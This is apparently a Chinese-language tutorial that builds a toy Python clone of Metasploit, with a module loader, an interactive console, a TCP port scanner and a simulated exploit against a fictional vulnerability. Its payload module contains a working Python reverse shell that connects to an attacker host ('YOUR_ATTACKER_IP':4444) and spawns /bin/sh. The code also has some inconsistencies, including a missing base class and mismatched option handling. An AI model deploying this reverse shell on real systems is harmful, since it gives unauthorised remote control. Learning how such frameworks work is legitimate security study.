我们可以用 Python 来“编写”或更准确地说是“实现” Metasploit 的核心思想、模块和功能,这不仅能帮助我们理解 Metasploit 的工作原理,还能让我们构建出轻量级、定制化的安全测试工具。
本教程将分为以下几个部分:
- 理解 Metasploit 的核心架构:我们首先要明白 Metasploit 是由哪些部分组成的。
- 用 Python 搭建核心框架:创建一个可以加载和执行模块的简单框架。
- 编写 Payload 模块:创建一个简单的反向 TCP Shell payload。
- 编写 Exploit 模块:创建一个针对某个虚构漏洞的 exploit。
- 编写 Auxiliary 模块:创建一个端口扫描器作为辅助模块。
- 整合与演示:将所有部分组合起来,展示如何使用我们自己的“Python版Metasploit”。
理解 Metasploit 的核心架构
Metasploit 不是一个单一的程序,而是一个模块化的框架,其核心组件包括:
- Core (核心):框架的基础,提供库、API 和服务,如模块管理、会话管理、数据库交互等。
- Modules (模块):框架的“武器库”,是执行具体任务的代码单元,主要分为三类:
- Exploits (利用模块):利用目标系统或应用程序中的漏洞,以获取访问权限。
exploit/windows/smb/ms17_010_eternalblue。 - Payloads (载荷模块):在成功利用漏洞后,在目标系统上执行的代码。
windows/meterpreter/reverse_tcp。 - Auxiliary (辅助模块):不直接用于获取访问权限,但用于信息收集、 fuzzing、漏洞扫描等。
scanner/portscan/tcp。
- Exploits (利用模块):利用目标系统或应用程序中的漏洞,以获取访问权限。
- Payload Stager (载荷传送器):Payload 通常分为两部分,Stager 是一个很小的代码片段,负责在目标系统上建立通信通道(连接攻击者的机器),它会下载并执行更大的主载荷。
- Console (控制台):用户与框架交互的界面,类似于命令行。
- Database (数据库):用于存储扫描结果、主机信息、漏洞数据等,方便后续分析和关联。
我们的 Python 实现将聚焦于模块化这一核心思想。
用 Python 搭建核心框架
我们创建一个简单的项目结构,模仿 Metasploit 的模块化设计。
python_msf/
├── msf_core/
│ ├── __init__.py
│ ├── module_manager.py # 负责加载和管理所有模块
│ └── console.py # 简单的命令行界面
├── modules/
│ ├── exploits/
│ │ └── __init__.py
│ ├── payloads/
│ │ └── __init__.py
│ └── auxiliary/
│ └── __init__.py
└── main.py # 程序入口
msf_core/module_manager.py
这个类是框架的核心,它负责动态地发现并加载所有模块。
import importlib
import os
import inspect
class ModuleManager:
def __init__(self):
self.modules = {
'exploit': {},
'payload': {},
'auxiliary': {}
}
self.module_paths = {
'exploit': 'modules.exploits',
'payload': 'modules.payloads',
'auxiliary': 'modules.auxiliary'
}
def load_modules(self):
"""从指定目录加载所有模块"""
print("[*] 正在加载模块...")
for module_type, path_prefix in self.module_paths.items():
module_dir = os.path.join(os.path.dirname(__file__), '..', path_prefix)
# 遍历模块目录下的所有 .py 文件
for filename in os.listdir(module_dir):
if filename.endswith('.py') and not filename.startswith('__'):
module_name = filename[:-3] # 去掉 .py 后缀
full_module_path = f"{path_prefix}.{module_name}"
try:
# 动态导入模块
module = importlib.import_module(full_module_path)
# 遍历模块中的所有类
for name, cls in inspect.getmembers(module, inspect.isclass):
# 检查类是否是我们定义的模块基类
if hasattr(cls, 'MODULE_TYPE') and cls.MODULE_TYPE == module_type:
# 将模块注册到字典中,格式为 {模块名: 模块类}
self.modules[module_type][cls.METADATA['Name']] = cls
print(f" [+] 已加载 {module_type} 模块: {module_name}")
except Exception as e:
print(f" [-] 加载模块 {module_name} 失败: {e}")
print("[*] 模块加载完成,\n")
def get_module(self, module_type, name):
"""根据类型和名称获取模块实例"""
if module_type in self.modules and name in self.modules[module_type]:
return self.modules[module_type][name]()
return None
def list_modules(self, module_type=None):
"""列出所有可用的模块"""
if module_type:
if module_type in self.modules:
print(f"\n--- {module_type.upper()} 模块列表 ---")
for name in self.modules[module_type]:
print(f" {name}")
else:
print(f"[-] 未知的模块类型: {module_type}")
else:
print("\n--- 所有模块类型 ---")
for mod_type in self.modules:
print(f" {mod_type.capitalize()}: {len(self.modules[mod_type])} 个模块")
msf_core/console.py
这是我们的交互式控制台。
class Console:
def __init__(self, module_manager):
self.mm = module_manager
self.running = True
self.current_module = None
def start(self):
print("欢迎使用 Python-Metasploit 框架 v0.1")
print("输入 'help' 查看可用命令。")
while self.running:
try:
# 获取用户输入
user_input = input("msf > ").strip()
if not user_input:
continue
parts = user_input.split()
command = parts[0].lower()
args = parts[1:]
# 分发命令
if command == 'help':
self.show_help()
elif command == 'exit':
self.running = False
elif command == 'list':
self.mm.list_modules(args[0] if args else None)
elif command == 'use':
self.use_module(args)
elif command == 'show':
self.show_info(args)
elif command == 'run' or command == 'exploit':
if self.current_module:
self.run_module()
else:
print("[-] 请先使用 'use' 命令选择一个模块。")
elif command == 'set':
if self.current_module:
self.set_option(args)
else:
print("[-] 请先使用 'use' 命令选择一个模块。")
else:
print(f"[-] 未知命令: {command}")
except KeyboardInterrupt:
print("\n[*] 收到中断信号,正在退出...")
self.running = False
except Exception as e:
print(f"[-] 发生错误: {e}")
def show_help(self):
print("""
命令列表:
------------------------------------
help 显示此帮助信息
exit 退出框架
list [type] 列出所有模块或指定类型的模块 (e.g., list exploit)
use <module_name> 使用一个模块 (e.g., use my_simple_exploit)
show options 显示当前模块的选项
set <option> <value> 设置模块选项的值 (e.g., set RHOSTS 192.168.1.10)
run / exploit 执行当前模块
""")
def use_module(self, args):
if not args:
print("[-] 'use' 命令需要一个模块名称作为参数。")
return
module_name = args[0]
# 假设我们总是先使用 exploit 模块来演示
self.current_module = self.mm.get_module('exploit', module_name)
if self.current_module:
print(f"[*] 已选择模块: {module_name}")
print(f"[*] 描述: {self.current_module.METADATA['Description']}")
else:
print(f"[-] 未找到模块: {module_name}")
self.current_module = None
def show_info(self, args):
if not self.current_module:
print("[-] 没有选中的模块。")
return
if args and args[0] == 'options':
print("\n--- 模块选项 ---")
for opt, value in self.current_module.options.items():
required = "(必需)" if self.current_module.required_options.get(opt) else ""
print(f" {opt} => {value} {required}")
else:
print("\n--- 模块信息 ---")
for key, value in self.current_module.METADATA.items():
print(f" {key}: {value}")
def set_option(self, args):
if not self.current_module or len(args) < 2:
print("[-] 'set' 命令需要选项名和值。")
return
opt_name = args[0]
opt_value = ' '.join(args[1:])
if opt_name in self.current_module.options:
self.current_module.options[opt_name] = opt_value
print(f"[*] {opt_name} => {opt_value}")
else:
print(f"[-] 模块没有名为 '{opt_name}' 的选项。")
def run_module(self):
print("\n[*] 正在执行模块...")
try:
# 检查必需选项
for opt in self.current_module.required_options:
if not self.current_module.options.get(opt):
print(f"[-] 缺少必需的选项: {opt}")
return
# 调用模块的 run 方法
self.current_module.run()
except Exception as e:
print(f"[-] 模块执行失败: {e}")
编写 Payload 模块
我们将创建一个简单的反向 TCP Shell payload,在实际的 Metasploit 中,payload 会更复杂,并包含 Stager。
modules/payloads/python_reverse_shell.py
# modules/payloads/python_reverse_shell.py
class BasePayload:
"""所有模块的基类"""
MODULE_TYPE = None
METADATA = {}
options = {}
required_options = {}
class PythonReverseShell(BasePayload):
MODULE_TYPE = 'payload'
METADATA = {
'Name': 'python_reverse_shell',
'Description': '一个简单的 Python 反向 Shell',
'Author': 'Your Name',
'License': 'BSD',
'Platform': 'python', # 平台无关,只要有Python解释器
'Arch': 'generic'
}
options = {
'LHOST': {'Description': '监听地址', 'Value': '0.0.0.0'},
'LPORT': {'Description': '监听端口', 'Value': '4444'}
}
required_options = ['LHOST', 'LPORT']
def generate(self):
"""生成 payload 代码"""
lhost = self.options.get('LHOST')
lport = self.options.get('LPORT')
# 这是一个非常简单的反向 shell 代码
payload_code = f"""
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('{lhost}', {lport}))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(['/bin/sh', '-i'])
s.close()
"""
return payload_code
def run(self):
"""执行 payload(在真实场景中,这会是目标机器上执行的代码)"""
print("[*] 正在生成反向 Shell 代码...")
code = self.generate()
print("\n--- Payload 代码 ---")
print(code)
print("--------------------")
print(f"[*] 在目标机器上执行此代码,它将连接到 {self.options.get('LHOST')}:{self.options.get('LPORT')}")
编写 Exploit 模块
这个模块将利用一个虚构的漏洞,它将使用我们刚刚创建的 payload。
modules/exploits/my_simple_exploit.py
# modules/exploits/my_simple_exploit.py
import time
from msf_core.module_manager import BaseModule # 注意这里的导入路径
class MySimpleExploit(BaseModule):
MODULE_TYPE = 'exploit'
METADATA = {
'Name': 'My Simple Vulnerable App Exploit',
'Description': '利用一个虚构的 'GET /vulnerable' 漏洞来执行代码。',
'Author': 'Your Name',
'References': [],
'DisclosureDate': '2025-01-01'
}
options = {
'RHOSTS': {'Description': '目标主机地址', 'Value': '127.0.0.1'},
'RPORT': {'Description': '目标端口', 'Value': '80'},
'TARGETURI': {'Description': '漏洞路径', 'Value': '/vulnerable'},
'PAYLOAD': {'Description': '使用的载荷', 'Value': 'python_reverse_shell'}
}
required_options = ['RHOSTS', 'RPORT', 'TARGETURI', 'PAYLOAD']
def __init__(self):
super().__init__()
self.payload_instance = None
def setup_payload(self):
"""根据选择的载荷类型初始化载荷实例"""
# 在真实框架中,这里会更复杂,会从模块管理器中查找
if self.options.get('PAYLOAD') == 'python_reverse_shell':
# 注意:在实际项目中,应该从模块管理器获取,而不是直接导入
from modules.payloads.python_reverse_shell import PythonReverseShell
self.payload_instance = PythonReverseShell()
# 将 exploit 的选项传递给 payload
self.payload_instance.options = self.payload_instance.options.copy()
self.payload_instance.options['LHOST'] = 'YOUR_ATTACKER_IP' # 攻击者IP
self.payload_instance.options['LPORT'] = '4444'
print("[*] 载荷已设置: python_reverse_shell")
else:
print(f"[-] 不支持的载荷: {self.options.get('PAYLOAD')}")
return False
return True
def run(self):
"""执行利用过程"""
print(f"[*] 正在攻击 {self.options.get('RHOSTS')}:{self.options.get('RPORT')}")
print(f"[*] 目标 URI: {self.options.get('TARGETURI')}")
if not self.setup_payload():
return
# --- 模拟利用过程 ---
print("[*] 发送恶意请求...")
time.sleep(1) # 模拟网络延迟
print("[*] 请求已发送,等待响应...")
time.sleep(1)
# --- 模拟成功 ---
print("\n[+] 漏洞利用成功!")
# --- 执行载荷 ---
print("[*] 正在目标上执行载荷...")
# 在真实场景中,这里是将 payload 代码注入目标进程并执行
# 这里我们直接调用 payload 的 run 方法来模拟
self.payload_instance.run()
编写 Auxiliary 模块
一个简单的 TCP 端口扫描器。
modules/auxiliary/tcp_port_scanner.py
# modules/auxiliary/tcp_port_scanner.py
import socket
from msf_core.module_manager import BaseModule
class TcpPortScanner(BaseModule):
MODULE_TYPE = 'auxiliary'
METADATA = {
'Name': 'TCP Port Scanner',
'Description': '一个简单的 TCP 端口扫描器。',
'Author': 'Your Name'
}
options = {
'RHOSTS': {'Description': '目标主机地址', 'Value': '127.0.0.1'},
'RPORTS': {'Description': '要扫描的端口列表 (逗号分隔)', 'Value': '22,80,443,8080'},
'TIMEOUT': {'Description': '连接超时时间 (秒)', 'Value': '2'}
}
required_options = ['RHOSTS', 'RPORTS']
def run(self):
target_host = self.options.get('RHOSTS')
ports_str = self.options.get('RPORTS')
timeout = int(self.options.get('TIMEOUT'))
ports = [int(p.strip()) for p in ports_str.split(',')]
print(f"[*] 正在扫描 {target_host} 的端口: {ports}")
for port in ports:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
result = s.connect_ex((target_host, port))
if result == 0:
print(f" [+] 端口 {port} 开放")
else:
print(f" [-] 端口 {port} 关闭")
s.close()
except Exception as e:
print(f" [-] 扫描端口 {port} 时出错: {e}")
print("[*] 扫描完成。")
整合与演示
我们创建入口文件 main.py 来启动整个框架。
main.py
from msf_core.module_manager import ModuleManager
from msf_core.console import Console
def main():
# 1. 初始化模块管理器并加载所有模块
mm = ModuleManager()
mm.load_modules()
# 2. 初始化控制台
console = Console(mm)
# 3. 启动控制台循环
console.start()
if __name__ == '__main__':
main()
如何运行
- 确保你的项目结构如上所示。
- 在终端中进入
python_msf目录。 - 运行
python main.py。
你将看到类似下面的输出:
$ python main.py
[*] 正在加载模块...
[+] 已加载 exploit 模块: my_simple_exploit
[+] 已加载 payload 模块: python_reverse_shell
[+] 已加载 auxiliary 模块: tcp_port_scanner
[*] 模块加载完成。
欢迎使用 Python-Metasploit 框架 v0.1
输入 'help' 查看可用命令。
msf > help
命令列表:
------------------------------------
help 显示此帮助信息
exit 退出框架
list [type] 列出所有模块或指定类型的模块 (e.g., list exploit)
use <module_name> 使用一个模块 (e.g., use my_simple_exploit)
show options 显示当前模块的选项
set <option> <value> 设置模块选项的值 (e.g., set RHOSTS 192.168.1.10)
run / exploit 执行当前模块
msf > list exploit
--- EXPLOIT 模块列表 ---
My Simple Vulnerable App Exploit
msf > use My Simple Vulnerable App Exploit
[*] 已选择模块: My Simple Vulnerable App Exploit
[*] 描述: 利用一个虚构的 'GET /vulnerable' 漏洞来执行代码。
msf > show options
--- 模块信息 ---
Name: My Simple Vulnerable App Exploit
Description: 利用一个虚构的 'GET /vulnerable' 漏洞来执行代码。
Author: Your Name
References: []
DisclosureDate: 2025-01-01
--- 模块选项 ---
RHOSTS => 127.0.0.1 (必需)
RPORT => 80 (必需)
TARGETURI => /vulnerable (必需)
PAYLOAD => python_reverse_shell (必需)
msf > set RHOSTS 192.168.1.105
[*] RHOSTS => 192.168.1.105
msf > run
[*] 正在攻击 192.168.1.105:80
[*] 目标 URI: /vulnerable
[*] 载荷已设置: python_reverse_shell
[*] 发送恶意请求...
[*] 请求已发送,等待响应...
[+] 漏洞利用成功!
[*] 正在目标上执行载荷...
[*] 正在生成反向 Shell 代码...
--- Payload 代码 ---
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('YOUR_ATTACKER_IP', 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(['/bin/sh', '-i'])
s.close()
--------------------
[*] 在目标机器上执行此代码,它将连接到 YOUR_ATTACKER_IP:4444
msf > exit
[*] 收到中断信号,正在退出...
通过这个项目,我们成功地用 Python 模拟了 Metasploit 的核心工作流程:
- 模块化设计:将不同的功能(Exploit, Payload, Auxiliary)分离成独立的模块。
- 动态加载:框架在启动时自动扫描并加载所有模块。
- 统一的接口:所有模块都遵循一个基类结构,拥有
run()方法和options字典。 - 交互式控制台:提供了类似 MSFConsole 的用户体验。
可以进一步扩展的方向:
- 数据库集成:使用
sqlite3或pymongo将扫描结果、主机信息存储起来。 - 更复杂的 Payload:实现 Meterpreter 或其他高级载荷的简化版,这需要处理编码、加密和通信协议。
- 多线程/异步支持:让辅助模块(如扫描器)能更快地执行。
- 插件系统:允许用户在不修改核心代码的情况下,通过插件添加新模块。
- 后处理器:在模块执行后,对输出结果进行处理和分析。
这个项目不仅是一个编程练习,更是一个极好的学习工具,能让你深刻理解 Metasploit 这款强大工具的内部构造和设计哲学。
